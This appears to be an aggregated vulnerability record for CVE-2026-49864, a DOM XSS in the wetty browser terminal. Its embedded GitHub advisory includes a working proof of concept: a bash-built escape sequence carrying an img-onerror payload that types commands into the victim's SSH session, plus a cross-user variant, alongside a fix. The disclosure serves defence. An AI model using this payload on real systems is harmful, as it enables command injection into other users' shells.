{"id":"GHSA-p26j-h7wj-r568","revision":null,"records":[{"revision":"a658576f6e9240d787f1399df9ba094f","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-49864","aliases":[],"title":"wetty vulnerable to DOM XSS via file-download filename","description":"wetty provides terminal access in browser over http/https. Prior to version 3.0.4, the wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (`escapeMarkup: false`). Any output the victim renders - a `cat`'d file, a tailed log, an SSH MOTD, a `curl` response - that contains `\\x1b[5i...:...\\x1b[4i` runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session. Version 3.0.4 fixes the issue.","state":0,"publishedAt":"2026-08-13T19:10:41.037+00:00","modifiedAt":"2026-08-18T01:35:30.665+00:00","affected":[{"ecosystem":"Vendor product","name":"wetty","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"butlerx\",\n                    \"product\": \"wetty\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.0.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","score":8.6,"severity":"HIGH"}],"references":["https://github.com/butlerx/wetty/security/advisories/GHSA-p26j-h7wj-r568"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-49864","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-49864","identifiers":["CVE-2026-49864"]},"retained":false,"historicalAffected":[]},{"revision":"917d77ec731a4dd281ad808b8244ec97","observedAt":"2026-11-17T15:27:46.437+00:00","statement":{"source":"euvd","id":"EUVD-2026-58245","aliases":["CVE-2026-49864","GHSA-p26j-h7wj-r568"],"title":"wetty provides terminal access in browser over http/https. Prior to version 3.0.4, the wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (`escapeMarkup: false`)…","description":"wetty provides terminal access in browser over http/https. Prior to version 3.0.4, the wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (`escapeMarkup: false`). Any output the victim renders - a `cat`'d file, a tailed log, an SSH MOTD, a `curl` response - that contains `\\x1b[5i...:...\\x1b[4i` runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session. Version 3.0.4 fixes the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","score":8.6,"severity":null}],"references":["https://github.com/butlerx/wetty/security/advisories/GHSA-p26j-h7wj-r568"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-58245","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 13, 2026, 7:10:41 PM","dateUpdated":"Aug 18, 2026, 1:35:30 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-58245","identifiers":["EUVD-2026-58245","CVE-2026-49864","GHSA-p26j-h7wj-r568"]},"retained":false,"historicalAffected":[]},{"revision":"c48c5a04cc4942b1a7044ce25d47c18a","observedAt":"2026-10-25T12:17:38.331+00:00","statement":{"source":"nvd","id":"CVE-2026-49864","aliases":[],"title":"wetty provides terminal access in browser over http/https. Prior to version 3.0.4, the wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (`escapeMarkup: false`)…","description":"wetty provides terminal access in browser over http/https. Prior to version 3.0.4, the wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (`escapeMarkup: false`). Any output the victim renders - a `cat`'d file, a tailed log, an SSH MOTD, a `curl` response - that contains `\\x1b[5i...:...\\x1b[4i` runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session. Version 3.0.4 fixes the issue.","state":0,"publishedAt":"2026-08-13T20:17:22.72+00:00","modifiedAt":"2026-09-09T21:02:22.66+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.6,"severity":"HIGH"}],"references":["https://github.com/butlerx/wetty/security/advisories/GHSA-p26j-h7wj-r568"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-49864","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-79"],"productCriteria":[],"sourceDates":{"published":"2026-08-13T20:17:22.720","lastModified":"2026-09-09T21:02:22.660"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-49864","identifiers":["CVE-2026-49864"]},"retained":false,"historicalAffected":[]},{"revision":"cfe0caeca731493c972e04268e783eb8","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-p26j-h7wj-r568","aliases":["CVE-2026-49864"],"title":"wetty vulnerable to DOM XSS via file-download filename","description":"### Summary\n\nThe wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (`escapeMarkup: false`). Any output the victim renders - a `cat`'d file, a tailed log, an SSH MOTD, a `curl` response - that contains `\\x1b[5i...:...\\x1b[4i` runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.\n\n### Preconditions\n\n- Victim has wetty open with an active SSH session.\n- Attacker delivers the file-download escape sequence (`\\x1b[5i<b64-name>:<b64-content>\\x1b[4i`) into output the victim's terminal renders.\n- Default configuration; no non-default flags required.\n\n### Details\n\n```typescript\n// src/client/wetty.ts:37, 46-62\nconst fileDownloader = new FileDownloader();\n// ...\nsocket.on('data', (data: string) => {\n  const remainingData = fileDownloader.buffer(data);\n  // every PTY byte forwarded by the server passes through buffer()\n  // ...\n})\n```\n\nEvery byte the server forwards from the PTY passes through `FileDownloader.buffer`. The buffer scans for the documented file-download markers `\\x1b[5i` (begin) and `\\x1b[4i` (end) - documented in `docs/downloading-files.md` - and, on a complete match, hands the inner payload to `onCompleteFile`.\n\n```typescript\n// src/client/wetty/download.ts:9-77\nfunction onCompleteFile(bufferCharacters: string): void {\n  let fileNameBase64;\n  let fileCharacters = bufferCharacters;\n  if (bufferCharacters.includes(':')) {\n    [fileNameBase64, fileCharacters] = bufferCharacters.split(':');\n  }\n  // ...\n  void detectAndDownload(bytes, fileCharacters, fileNameBase64);\n}\n\nasync function detectAndDownload(/* ... */): Promise<void> {\n  // ...\n  let fileName;\n  try {\n    if (fileNameBase64 !== undefined) {\n      fileName = window.atob(fileNameBase64);            // attacker-controlled\n    }\n  } catch { /* ... */ }\n  fileName ??= `file-${ /* timestamp default */ }`;\n  // ...\n  Toastify({\n    text: `Download ready: <a href=\"${blobUrl}\" target=\"_blank\" `\n        + `download=\"${fileName}\">${fileName}</a>`,     // sink\n    duration: 10000,\n    // ...\n    escapeMarkup: false,\n  }).showToast();\n}\n```\n\n`fileName` is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (`escapeMarkup: false`). No HTML escaping runs between `atob` and the toast markup. The wetty client exposes the live terminal as `window.wetty_term`, and `term.input(data, true)` (`src/client/wetty/term.ts:80, 93-97, 132, 145-198`) fires xterm.js's `onData`, which `src/client/wetty.ts:40-42` forwards as a socket `input` event - i.e., script in the wetty origin types into the victim's SSH session.\n\n### Proof of concept\n\n**Setup**\n\n1. Bring up wetty and its bundled SSH host from a fresh clone:\n\n   ```bash\n   git clone https://github.com/butlerx/wetty\n   cd wetty\n   docker compose up -d\n   sleep 5\n   ```\n\n2. Open `http://localhost/wetty` in a browser. The login terminal prompts for a username (enter `term`) then proxies to `wetty-ssh`, which prompts for the SSH password (also `term`, set in `containers/ssh/Dockerfile`). The browser tab now holds a shell on the SSH container.\n\n**Exploit**\n\n1. In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:\n\n   ```bash\n   PAYLOAD='\"><img src=x onerror=\"window.wetty_term.input(\\\"id > /tmp/pwned\\\\n\\\",true)\">'\n   FNAME_B64=$(printf '%s' \"$PAYLOAD\" | base64 -w0)\n   DATA_B64=$(printf 'bait' | base64 -w0)\n   printf '\\x1b[5i%s:%s\\x1b[4i' \"$FNAME_B64\" \"$DATA_B64\"\n   ```\n\n   Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied `<img>` element with the `onerror` handler.\n\n2. The `onerror` handler calls `window.wetty_term.input(\"id > /tmp/pwned\\n\", true)`, which xterm.js dispatches as a `data` event; `src/client/wetty.ts:40-42` forwards it as a socket `input` event; the server writes it to the PTY. The SSH host runs `id > /tmp/pwned` as the connected user:\n\n   ```bash\n   cat /tmp/pwned\n   ```\n\n   Expected: `uid=1000(term) gid=1000(term) groups=1000(term)`.\n\n3. The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:\n\n   ```bash\n   # As the low-priv user on the SSH host\n   printf '\\x1b[5i%s:%s\\x1b[4i' \"$FNAME_B64\" \"$DATA_B64\" > /tmp/notes.txt\n   ```\n\n   When the higher-privileged user's wetty session runs `cat /tmp/notes.txt`, attacker-controlled JavaScript types commands into that user's shell.\n\n### Impact\n\n- **Confidentiality:** Reads the rendered terminal contents via `window.wetty_term.buffer.active`.\n- **Integrity:** Types attacker-chosen commands into the victim's SSH session via `window.wetty_term.input()`.\n- **Auth:** A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user.\n\n### Suggestions to fix\n\n> _This has not been tested - it is illustrative only._\n\nHTML-escape the decoded filename before interpolating it into Toastify's HTML markup at `src/client/wetty/download.ts:67-77`.\n\n```diff\n   fileName ??= `file-${new Date()\n     .toISOString()\n     .split('.')[0]\n     .replace(/-/g, '')\n     .replace('T', '')\n     .replace(/:/g, '')}${fileExt ? `.${fileExt}` : ''}`;\n+  const safeName = fileName.replace(/[&<>\"']/g, (c) =>\n+    ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '\"': '&quot;', \"'\": '&#39;' })[c] ?? c,\n+  );\n\n   const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });\n   const blobUrl = URL.createObjectURL(blob);\n\n   Toastify({\n-    text: `Download ready: <a href=\"${blobUrl}\" target=\"_blank\" download=\"${fileName}\">${fileName}</a>`,\n+    text: `Download ready: <a href=\"${blobUrl}\" target=\"_blank\" download=\"${safeName}\">${safeName}</a>`,\n     duration: 10000,\n```","state":0,"publishedAt":"2026-07-01T18:19:39+00:00","modifiedAt":"2026-07-01T18:41:31.700322+00:00","affected":[{"ecosystem":"npm","name":"wetty","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.0.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/butlerx/wetty/security/advisories/GHSA-p26j-h7wj-r568","https://github.com/butlerx/wetty"],"sourceUrl":"https://github.com/advisories/GHSA-p26j-h7wj-r568","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-p26j-h7wj-r568","identifiers":["GHSA-p26j-h7wj-r568","CVE-2026-49864"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-19T06:24:22.7088152+00:00","complete":true,"records":1786,"lastAttemptAt":"2026-11-19T06:24:22.7088152+00:00","lastSuccessAt":"2026-11-19T06:24:22.8754391+00:00","error":null,"lastVerifiedAt":"2026-11-19T06:24:22.8754399+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-e55c589538e0700b45c7d6d41fe1447a79199283262c371c864535c791a040b9-42f061bddbd482fb0fdcbfdaef32a6fe691ccebc959e217807f38a7ec448390c","complete":true,"records":428247,"lastAttemptAt":"2026-11-19T06:22:43.7183085+00:00","lastSuccessAt":"2026-11-19T06:22:43.6605476+00:00","error":null,"lastVerifiedAt":"2026-11-19T06:22:43.7183085+00:00","snapshotPublishedAt":"2026-11-19T05:24:53+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-083dc80a6b0d4f35b068331bf39b5727","complete":false,"records":13861,"lastAttemptAt":"2026-11-19T06:32:59.6292222+00:00","lastSuccessAt":"2026-11-19T06:32:59.625+00:00","error":"208 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-19T06:32:59.625+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13581,"expectedIdentifiers":13908,"failedIdentifiers":208},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-19T06:24:22.7088152+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-19T06:24:22.7088152+00:00","lastSuccessAt":"2026-11-19T06:24:22.8762559+00:00","error":null,"lastVerifiedAt":"2026-11-19T06:24:22.8762561+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-84b4b212d7ef41cb9ec24b71e9d8e5d8","complete":true,"records":13873,"lastAttemptAt":"2026-11-19T06:24:23.3874789+00:00","lastSuccessAt":"2026-11-19T04:24:39.391+00:00","error":null,"lastVerifiedAt":"2026-11-19T04:24:39.391+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13908,"expectedIdentifiers":13908,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-76574c95b6792d47ba90af64983ed5843633f14426346d676016e94a5f383202","complete":true,"records":9963,"lastAttemptAt":"2026-11-19T06:24:22.665091+00:00","lastSuccessAt":"2026-11-19T01:24:31.4213722+00:00","error":null,"lastVerifiedAt":"2026-11-19T06:24:22.665091+00:00","snapshotPublishedAt":"2026-11-19T01:03:15+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-19T06:22:43.8470822+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-19T06:22:43.8470822+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-c0d9c71c6fa06d617f979e7bec0d97aca70ca5aea1558184002f8e44516f2fac","complete":true,"records":3177,"lastAttemptAt":"2026-11-19T06:24:22.6784424+00:00","lastSuccessAt":"2026-11-18T21:25:09.5127964+00:00","error":null,"lastVerifiedAt":"2026-11-19T06:24:22.6784424+00:00","snapshotPublishedAt":"2026-11-18T21:18:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-79ba98249fc096fffe991a6a897ec91d79aa0bbce455566e233ea218d4eb3d8e","complete":true,"records":232711,"lastAttemptAt":"2026-11-19T06:24:22.5400107+00:00","lastSuccessAt":"2026-11-19T06:24:21.5299094+00:00","error":null,"lastVerifiedAt":"2026-11-19T06:24:22.5400107+00:00","snapshotPublishedAt":"2026-11-19T05:48:03+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}